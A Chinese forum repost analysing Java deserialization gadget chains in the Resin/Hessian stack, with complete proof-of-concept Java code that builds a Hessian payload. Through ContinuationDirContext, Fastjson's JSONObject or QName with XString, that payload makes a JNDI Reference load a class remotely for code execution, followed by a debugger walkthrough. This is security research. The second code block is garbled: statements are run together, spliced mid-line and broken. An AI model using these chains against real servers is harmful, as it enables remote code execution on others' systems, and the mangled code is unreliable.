天空闲话 发表于 2024-5-18 07:18:29

Resin反序列化链分析

前言

Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开辟的,旨在提供可靠的Web应用步伐和服务的运行环境。和Tomcat一样是个服务器,它和hessian在一个group里,所以有肯定的接洽
<dependencies>
<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>resin</artifactId>
    <version>4.0.64</version>
</dependency>
</dependencies>ContinuationDirContext+Fastjson使用链

攻击测试

因为是JDNI,所以照旧得注意下jdk版本,这里用jdk8u65
package org.example;


import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory;

import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class resinPoc {
    public static void main(String[] args) throws Exception {
      //URLCLASSLOADER RCE
      Reference refObj=new Reference("evilref","evilref","http://127.0.0.1:8000/");
      Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
      Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
      ccCons.setAccessible(true);
      CannotProceedException cpe = new CannotProceedException();

      cpe.setResolvedObj(refObj);
      DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
      JSONObject jsonObject = new JSONObject();
      jsonObject.put("f12",ctx);
      ByteArrayOutputStream baos = new ByteArrayOutputStream();
      Hessian2Output out = new Hessian2Output(baos);
      baos.write(67);
      out.getSerializerFactory().setAllowNonSerializable(true);
      out.writeObject(jsonObject);
      out.flushBuffer();

      ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
      Hessian2Input input = new Hessian2Input(bais);
      input.readObject();
      //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
      //System.out.println(ret);

    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
      HashMap<Object, Object> s = new HashMap<>();
      setFieldValue(s, "size", 2);
      Class<?> nodeC;
      try {
            nodeC = Class.forName("java.util.HashMap$Node");
      }
      catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
      }
      Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
      nodeCons.setAccessible(true);

      Object tbl = Array.newInstance(nodeC, 2);
      Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
      Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
      setFieldValue(s, "table", tbl);
      return s;
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
      return createWithConstructor(classToInstantiate, Object.class, new Class, new Object);
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
      ByteArrayOutputStream baos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(baos);
      //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
      //writeReplaceMethod.setAccessible(true);
      oos.writeObject(o);
      oos.close();

      String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
      return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
      Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
      objCons.setAccessible(true);
      Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
      sc.setAccessible(true);
      return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
      Field field = obj.getClass().getDeclaredField(fieldName);
      field.setAccessible(true);
      field.set(obj, value);
    }
}流程分析

之前研究过Hessian反序列化,没想到它会触发反序列化对象的toString方法,经过调试,在过完最后谁人map.put(in.readObject(),in.readObject())后,obj就是要反序列化的对象,这里有个字符拼接,所以触发了obj.toString()
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423194033122-1215165052.png#id=pXP2N&originHeight=277&originWidth=1346&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
这里简单提一下,接下来看正式的流程,既然这里触发了JSONObject的toString方法,阐明就能恣意调用getter了,我们给JSONObject传入的对象是ContinuationDirContext,这里直接给出调用的getter方法,
ContinuationContext是ContinuationDirContext的父类
ContinuationContext#getTargetContext()
我们在这个getter方法上打个断点
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423194828989-647550896.png#id=PdRpy&originHeight=581&originWidth=1347&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入NamingManager.getContext,这内里的cpe是我们恶意构造的
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195027349-958344607.png#id=OV8Jb&originHeight=706&originWidth=1674&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195047858-1454458663.png#id=GBL1E&originHeight=197&originWidth=1000&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
跟进getObjectInstance方法
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195138809-767142763.png#id=hJU6M&originHeight=427&originWidth=1356&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
这个引用一个对象工厂
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195228437-581638601.png#id=x8IV5&originHeight=735&originWidth=1470&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
进入内里会举行类加载
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195303785-1129675795.png#id=R7CHR&originHeight=583&originWidth=1594&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
最终是通过URLClassLoader举行类加载的
https://img2024.cnblogs.com/blog/2746479/202404/2746479-20240423195511286-1214398743.png#id=Rtchh&originHeight=404&originWidth=1596&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title=
toString+Qname使用链

toString的触发方式有很多,这里接纳HashMap+XString来触发
package org.example;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.caucho.naming.QName;import com.sun.org.apache.xpath.internal.objects.XString;import sun.reflect.ReflectionFactory;import com.alibaba.fastjson.JSONObject;import javax.naming.CannotProceedException;import javax.naming.Reference;import javax.naming.directory.DirContext;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.Base64;import java.util.HashMap;import java.util.Hashtable;public class XstringChain {    public static void main(String[] args) throws Exception {      Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");      Class ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$      Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);      ccCons.setAccessible(true);      CannotProceedException cpe = new CannotProceedException();      cpe.setResolvedObj(refObj);      DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable());      QName qName = new QName(ctx, "boo", "gii");      String unhash = unhash(qName.hashCode());      XString xString = new XString(unhash);      HashMap map = makeMap(qName, xString);      ByteArrayOutputStream baos = new ByteArrayOutputStream();      Hessian2Output out = new Hessian2Output(baos);      out.getSerializerFactory().setAllowNonSerializable(true);      out.writeObject(map);      out.flushBuffer();      ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());      Hessian2Input input = new Hessian2Input(bais);      input.readObject();      //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());      //System.out.println(ret);    }    public static HashMap makeMap ( Object v1, Object v2 ) throws Exception {      HashMap s = new HashMap();      setFieldValue(s, "size", 2);      Class nodeC;      try {            nodeC = Class.forName("java.util.HashMap$Node");      }      catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");      }      Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);      nodeCons.setAccessible(true);      Object tbl = Array.newInstance(nodeC, 2);      Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));      Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));      setFieldValue(s, "table", tbl);      return s;    }    public staticT createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {      return createWithConstructor(classToInstantiate, Object.class, new Class, new Object);    }    public static String serial(Object o) throws IOException, NoSuchFieldException {      ByteArrayOutputStream baos = new ByteArrayOutputStream();      ObjectOutputStream oos = new ObjectOutputStream(baos);      //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");      //writeReplaceMethod.setAccessible(true);      oos.writeObject(o);      oos.close();      String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());      return base64String;    }    public staticT createWithConstructor(Class classToInstantiate, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {      Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);      sc.setAccessible(true);      return (T) sc.newInstance(consArgs);    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {      Field field = obj.getClass().getDeclaredField(fieldName);      field.setAccessible(true);      field.set(obj, value);    }    public static String unhash ( int hash ) {      int target = hash;      StringBuilder answer = new StringBuilder();      if ( target < 0 ) {            // String with hash of Integer.MIN_VALUE, 0x80000000            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");            if ( target == Integer.MIN_VALUE )                return answer.toString();            // Find target without sign bit set            target = target & Integer.MAX_VALUE;      }      unhash0(answer, target);      return answer.toString();    }    private static void unhash0 ( StringBuilder partial, int target ) {      int div = target / 31;      int rem = target % 31;      if ( divccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$      Constructor ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);      ccCons.setAccessible(true);      CannotProceedException cpe = new CannotProceedException();      cpe.setResolvedObj(resourceRef);      DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable nodeC;      try {            nodeC = Class.forName("java.util.HashMap$Node");      }      catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");      }      Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);      nodeCons.setAccessible(true);      Object tbl = Array.newInstance(nodeC, 2);      Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));      Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));      setFieldValue(s, "table", tbl);      return s;    }    public static [] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {      Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);      sc.setAccessible(true);      return (T) sc.newInstance(consArgs);    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {      Field field = obj.getClass().getDeclaredField(fieldName);      field.setAccessible(true);      field.set(obj, value);    }    public static String unhash ( int hash ) {      int target = hash;      StringBuilder answer = new StringBuilder();      if ( target < 0 ) {            // String with hash of Integer.MIN_VALUE, 0x80000000            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");            if ( target == Integer.MIN_VALUE )                return answer.toString();            // Find target without sign bit set            target = target & Integer.MAX_VALUE;      }      unhash0(answer, target);      return answer.toString();    }    private static void unhash0 ( StringBuilder partial, int target ) {      int div = target / 31;      int rem = target % 31;      if ( div
页: [1]
查看完整版本: Resin反序列化链分析